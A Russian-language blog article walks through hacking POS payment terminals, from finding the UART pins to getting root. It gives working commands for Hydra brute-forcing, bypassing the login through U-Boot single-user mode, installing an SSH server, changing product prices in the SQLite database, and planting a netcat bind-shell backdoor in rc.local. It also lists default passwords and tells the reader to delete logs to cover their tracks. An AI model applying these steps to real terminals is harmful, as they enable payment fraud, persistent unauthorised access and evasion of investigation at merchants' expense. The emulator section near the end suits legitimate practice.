Как стать автором
Обновить

Анализ уязвимостей POS-терминалов

Уровень сложностиПростой

Пару дней назад стало интересно как работают POST терминалы и какие уязвимости в них бывают. Не советую воспринимать эту статтю как руководство по взлому, скорее просто как поверхностный взгляд на тему.

POS-терминалы (Point of Sale) — это специализированные компьютеры для обработки платежей. Несмотря на их критическую роль, многие из них работают на устаревших ОС (Windows CE, Embedded Linux). Как раз в этих системах и стоит искать уязвимости.

💻 Анатомия типичного POS-терминала:

Железо:

Часто x86 или ARM-процессоры.

Сенсорный экран + фискальный регистратор (для печати чеков).

Иногда — слоты для SD-карт (ключ к взлому!).

Софт:

Windows CE (уязвимый, но живучий).

Linux-based (например, на базе Raspberry Pi).

Проприетарное ПО для работы с платежами (часто с дырами).

🔧 Что понадобится?

  • Физический доступ к терминалу (или его эмулятор).

  • Минимальный набор инструментов:

Отвёртка (для разборки).

USB-клавиатура (если есть USB-порт).

SD-карта (если терминал использует её для ОС).

Переходник для последовательного порта (UART, если есть разъём).

  • Софт:

Binwalk (анализ прошивок).

IDA Pro/Ghidra (реверс-инжиниринг).

Metasploit (если есть сетевой доступ).

Wireshark (анализ трафика).

📌 На что смотреть в первую очередь?

1. Физические интерфейсы

  • USB-порты → можно подключить клавиатуру и вызвать Ctrl+Alt+Del (на некоторых Windows CE открывается диспетчер задач).

  • SD-карта → если ОС загружается с неё, можно изменить файлы.

  • Последовательный порт (UART) → часто даёт root-доступ через терминал (ищи контакты TX/RX/GND на плате).

  • Кнопки сброса → комбинации вроде «удержать 10 секунд» могут сбрасывать настройки.

2. Дефолтные учётные данные

Как бы стандартно не звучало но всегда нужно проверять. Попробуй:

  • Windows CE: Administrator: (пустой пароль), admin:admin, 1:1.

  • Linux-based: root:root, pos:pos, user:user.

  • Проприетарные системы → гугли модель + «default password».

3. Сетевые уязвимости

  • Открытые порты (например, Telnet 23, FTP 21, SSH 22).

  • Веб-интерфейс (если есть) → ищи SQL-инъекции или XSS.

  • Уязвимости в платежных протоколах (например, NEXO/ISO 8583).

4. Уязвимости в ПО

  • Драйверы фискальных регистраторов → часто содержат уязвимости переполнения буфера.

  • Софт для обновлений → можно подменить файл обновления на свой.

  • DLL-инъекция (для Windows CE) → подмена системных библиотек.

По факту быстро взломать POST терминал в реальных условиях может оказаться не простой задачей. Нужно адекватно подготовится и собрать достаточно данных о устройстве, а фактор времени так же сыграет свою роль. Вряд ли ты сможешь долго стоять и разбирать терминал. Но давайте приведу пример успешной атаки. Будем получать root права.

💥 Пример атаки: получение root через UART

Шаг 1: Поиск UART-порта на плате

Что ищем? 4 контакта (обычно в ряд), подписанные:

  • TX (Transmit — передача данных от устройства к вам)

  • RX (Receive — приём данных от вас к устройству)

  • GND (Ground — земля)

  • VCC (Питание, но его лучше не трогать!).

Как найти:

  1. Визуальный осмотр:

  2. Ищем надписи на плате (например, UART1CON3).

  3. Типичные места: рядом с процессором или чипом памяти.

  4. Пример разметки:

[VCC] [RX] [TX] [GND]

Мультиметр в помощь:

Если контакты не подписаны:

  1. GND — звонится на корпус или металлические части.

  2. VCC — показывает 3.3V или 5V относительно GND.

  3. TX — напряжение меняется при включении устройства (передача данных).

⚠️ Важно:

  • Не подключайтесь к VCC — можно спалить адаптер!

  • Если контактов 3 — скорее всего, это TX, RX, GND.

Шаг 2: Подключаемся через терминал

Необходимое железо:

  • UART-адаптер (например, CH340FT232RL) (Может потом напишу статтю что это и какие модели бывают).

  • Провода «папа-папа» для подключения.

Схема подключения:

POS-терминал      UART-адаптер
      TX  ------------>  RX  
      RX  <------------  TX  
      GND ------------>  GND

Настройка терминала:

Linux (screen/minicom):

sudo screen /dev/ttyUSB0 115200
  1. 115200 — стандартная скорость (если не работает, пробуй 960057600).

  2. Если экран пустой — попробуй поменять TX/RX местами.

Windows (PuTTY):

  1. Выбираем Serial, порт COM3 (или другой), скорость 115200.

  2. Тип подключения: Serial.

Что должно появиться:

  • При включении терминала — вывод загрузки (логи U-Boot, ядро Linux).

  • Возможные варианты:

Welcome to POS Terminal!
login: _

или

root@pos-terminal:~# _

Шаг 3: Получаем root

Сценарий 1: Стандартные пароли

Банальная вещь но всегда стоит пробовать. Пробуем (по очереди):

  • root:root

  • admin:admin

  • pos:pos

  • user:user

  • Пустой пароль (просто нажимаем Enter).

Сценарий 2: Пароль неизвестен

Варианты обхода:

  1. Перебор паролей Hydra (если есть сеть):

hydra -l root -P rockyou.txt telnet://192.168.1.100

2. Сброс через JTAG (если есть разъём JTAG на плате).

3. Эксплуатация загрузчика (если есть доступ к U-Boot):

В момент загрузки жмём любую клавишу, чтобы прервать автозагрузку.

В консоли U-Boot:

setenv bootargs single
boot

Получаем root-шелл без пароля.

Шаг 4: Модифицируем систему

1. Добавление SSH-сервера (для Linux)

# Устанавливаем Dropbear (лёгкий SSH-сервер)
opkg update
opkg install dropbear

# Включаем автозагрузку
/etc/init.d/dropbear enable
/etc/init.d/dropbear start

# Меняем пароль root
passwd root

Теперь можно подключаться извне:

ssh root@192.168.1.100

Подмена цен в БД (если терминал на SQLite)

# Ищем БД с товарами
find / -name "*.db"

# Редактируем (например, через sqlite3)
sqlite3 /var/pos/products.db
UPDATE items SET price=0.01 WHERE id=123;

Установка бэкдора

Добавляем в /etc/rc.local:

#!/bin/sh
nc -lvp 4444 -e /bin/sh &

После перезагрузки:

nc 192.168.1.100 4444

📌 Важные нюансы

Разные модели — разная защита:

  1. Некоторые терминалы шифруют прошивку (понадобится дизассемблер).

  2. В новых может быть Secure Boot (блокировка модификаций).

Логирование:

  1. POS-терминалы часто пишут логи в /var/log — удаляй следы!

Сетевые ограничения:

  1. Если терминал в изолированной сети — потребуется физический доступ.

Если хотите попробовать взломать POST терминал то советую тренироваться на эмуляторах.

1. Эмуляция Windows CE (основа многих старых терминалов)

QEMU + образ WinCE

Скачайте образ: Windows CE 6.0 Emulator

Запустите через QEMU:

qemu-system-arm -M versatilepb -kernel nk.bin

Готовые эмуляторы

Microsoft Device Emulator (для WinCE 5.0/6.0)

Platform Builder (сложнее, но точнее эмулирует железо)

2. Эмуляция Linux-based терминалов

Buildroot + QEMU

Создайте минимальный образ Linux для ARM (как в реальных терминалах):

git clone https://github.com/buildroot/buildroot
make qemu_arm_vexpress_defconfig
make
qemu-system-arm -M vexpress-a9 -kernel output/images/zImage -dtb output/images/vexpress-v2p-ca9.dtb -drive file=output/images/rootfs.ext2,if=sd -append "console=ttyAMA0,115200 root=/dev/mmcblk0" -serial stdio

3. Готовые образы:

4. Специализированные эмуляторы POS

OPOS (OLE for POS) Simulator

Эмулирует работу фискальных регистраторов, дисплеев и т.д.

sudo apt install libopos-dev

🌐 Атаки без физического доступа: почему мы не разобрали Wireshark и Metasploit подробно

В начале я упомянул Wireshark и Metasploit как инструменты для сетевых атак, но не стал углубляться в них. Вот почему:

1. Wireshark: перехват трафика — только начало

Что делает:

  • Позволяет анализировать сетевой трафик (например, данные платежей, логины админов).

Проблемы:

  • Большинство современных терминалов используют шифрование (TLS). Без ключей расшифровки — только «мусор» в логах.

  • В изолированных сетях (например, локальная сеть магазина) перехват требует уже скомпрометированного устройства.

Когда полезен:

  • Если терминал отправляет данные в открытом виде (устаревшие протоколы вроде FTP, Telnet).

2. Metasploit: «тяжёлая артиллерия» с ограничениями

Что делает:

  • Предоставляет готовые эксплоиты для уязвимостей (например, CVE-2017-9476 для WinCE).

Проблемы:

  • Большинство POS-терминалов не имеют прямого выхода в интернет, что блокирует удалённые атаки.

  • Современные системы патчатся (но старые WinCE — да, уязвимы).

Когда полезен:

  • Если терминал имеет открытый RDP-порт (редко, но бывает).

  • Работает на публичном IP (например, в маленьких кафе с «голым» терминалом).

Wireshark и Metasploit — мощные инструменты, но для POS-терминалов они вторичны. Физические уязвимости (UART, дефолтные пароли) — это «низко висящие фрукты», которые дают быстрый результат. Хотя если будет настроение то потом разберу как работают сетевые атаки на пост терминалы.

На этом пожалуй закончим. А если хотите заказть аудит безопасности сервера/сайта или есть другие вопросы по безопасности - обращайтесь ко мне напрямую @Marka_kol.

Теги:
Хабы:
Данная статья не подлежит комментированию, поскольку её автор ещё не является полноправным участником сообщества. Вы сможете связаться с автором только после того, как он получит приглашение от кого-либо из участников сообщества. До этого момента его username будет скрыт псевдонимом.